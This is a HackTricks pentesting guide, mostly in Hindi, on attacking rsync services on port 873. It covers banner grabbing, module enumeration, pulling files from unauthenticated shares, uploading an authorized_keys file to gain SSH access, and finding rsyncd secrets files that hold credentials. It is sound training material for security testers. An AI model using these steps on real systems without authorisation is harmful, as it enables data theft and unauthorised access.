873 - Pentesting Rsync

Support HackTricks

Basic Information

From wikipedia:

rsync एक उपयोगिता है जो कुशलता से transferring और synchronizing files को एक कंप्यूटर और एक बाहरी हार्ड ड्राइव के बीच और networked computers के बीच फ़ाइलों के modification times और आकारों की तुलना करके करता है।[3] यह आमतौर पर Unix-like operating systems पर पाया जाता है। rsync एल्गोरिदम एक प्रकार का delta encoding है, और इसका उपयोग नेटवर्क उपयोग को कम करने के लिए किया जाता है। Zlib अतिरिक्त data compression के लिए उपयोग किया जा सकता है,[3] और SSH या stunnel सुरक्षा के लिए उपयोग किया जा सकता है।

Default port: 873

PORT    STATE SERVICE REASON
873/tcp open  rsync   syn-ack

Enumeration

बैनर और मैनुअल संचार

nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0        <--- You receive this banner with the version from the server
@RSYNCD: 31.0        <--- Then you send the same info
#list                <--- Then you ask the sever to list
raidroot             <--- The server starts enumerating
USBCopy
NAS_Public
_NAS_Recycle_TOSRAID	<--- Enumeration finished
@RSYNCD: EXIT         <--- Sever closes the connection


#Now lets try to enumerate "raidroot"
nc -vn 127.0.0.1 873
(UNKNOWN) [127.0.0.1] 873 (rsync) open
@RSYNCD: 31.0
@RSYNCD: 31.0
raidroot
@RSYNCD: AUTHREQD 7H6CqsHCPG06kRiFkKwD8g    <--- This means you need the password

साझा फ़ोल्डरों की गणना करना

Rsync मॉड्यूल को निर्देशिका साझा के रूप में पहचाना जाता है जो पासवर्ड से सुरक्षित हो सकते हैं। उपलब्ध मॉड्यूल की पहचान करने और यह जांचने के लिए कि क्या उन्हें पासवर्ड की आवश्यकता है, निम्नलिखित कमांड का उपयोग किया जाता है:

nmap -sV --script "rsync-list-modules" -p <PORT> <IP>
msf> use auxiliary/scanner/rsync/modules_list

# Example with IPv6 and alternate port
rsync -av --list-only rsync://[dead:beef::250:56ff:feb9:e90a]:8730

ध्यान दें कि कुछ शेयर सूची में नहीं दिखाई दे सकते हैं, संभवतः उन्हें छिपा दिया गया है। इसके अतिरिक्त, कुछ शेयरों तक पहुँच विशेष credentials तक सीमित हो सकती है, जिसे "Access Denied" संदेश द्वारा दर्शाया गया है।

मैनुअल Rsync उपयोग

module list प्राप्त करने के बाद, क्रियाएँ इस पर निर्भर करती हैं कि क्या प्रमाणीकरण की आवश्यकता है। प्रमाणीकरण के बिना, एक साझा फ़ोल्डर से स्थानीय निर्देशिका में फ़ाइलों को सूचीबद्ध और कॉपी करना निम्नलिखित के माध्यम से किया जाता है:

# Listing a shared folder
rsync -av --list-only rsync://192.168.0.123/shared_name

# Copying files from a shared folder
rsync -av rsync://192.168.0.123:8730/shared_name ./rsyn_shared

यह प्रक्रिया पुनरावृत्त रूप से फ़ाइलों को स्थानांतरित करती है, उनके गुण और अनुमतियों को बनाए रखते हुए।

क्रेडेंशियल्स के साथ, साझा फ़ोल्डर से सूचीबद्ध करना और डाउनलोड करना निम्नलिखित तरीके से किया जा सकता है, जहाँ एक पासवर्ड प्रॉम्प्ट दिखाई देगा:

rsync -av --list-only rsync://username@192.168.0.123/shared_name
rsync -av rsync://username@192.168.0.123:8730/shared_name ./rsyn_shared

To upload content, such as an authorized_keys फ़ाइल के लिए पहुँच, उपयोग करें:

rsync -av home_user/.ssh/ rsync://username@192.168.0.123/home_user/.ssh

POST

rsyncd कॉन्फ़िगरेशन फ़ाइल को खोजने के लिए, निष्पादित करें:

find /etc \( -name rsyncd.conf -o -name rsyncd.secrets \)

इस फ़ाइल के भीतर, एक secrets file पैरामीटर एक फ़ाइल की ओर इशारा कर सकता है जिसमें उपयोगकर्ता नाम और पासवर्ड rsyncd प्रमाणीकरण के लिए होते हैं।

संदर्भ

HackTricks का समर्थन करें

Last updated